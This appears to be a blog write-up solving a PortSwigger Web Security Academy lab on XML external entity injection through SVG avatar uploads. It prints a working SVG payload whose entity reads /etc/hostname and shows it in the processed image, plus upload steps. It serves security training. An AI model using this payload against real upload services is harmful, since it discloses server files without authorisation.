Lab: Exploiting XXE via image file upload

Posted on | Post modified | In |

Lab: Exploiting XXE via image file upload

tags: Portswigger Web Security Academy Web
  • Description: This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files.
  • Goal: To solve the lab, upload an image that displays the contents of the /etc/hostname file after processing. Then use the “Submit solution” button to submit the value of the server hostname.

Recon

In this lab, we can upload an exploited file which contained malicious xml data. Then we can fetch some sensitive information.

Exp - Upload Exploited File as Avatar

  1. Create an exploit text file We can create a text file contained the payload below The exploited payload in .svg files: 
    <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns ="http://www.w3.org/2000/svg" xmlns:xlink ="http://www.w3.org/1999/xlink" version="1.1"><text fontsize="16" x="0" y="16">&xxe;</text></svg>

  2. Transfer to svg file and upload it After transfering to .svg file, we can choose arbitrary post and leave a comment below

  3. Check your avatar Then you get back to post page and verified your avatar photo should contain a string which is your flag(sensitive data) that you must submit. :::spoiler Success Screenshot :::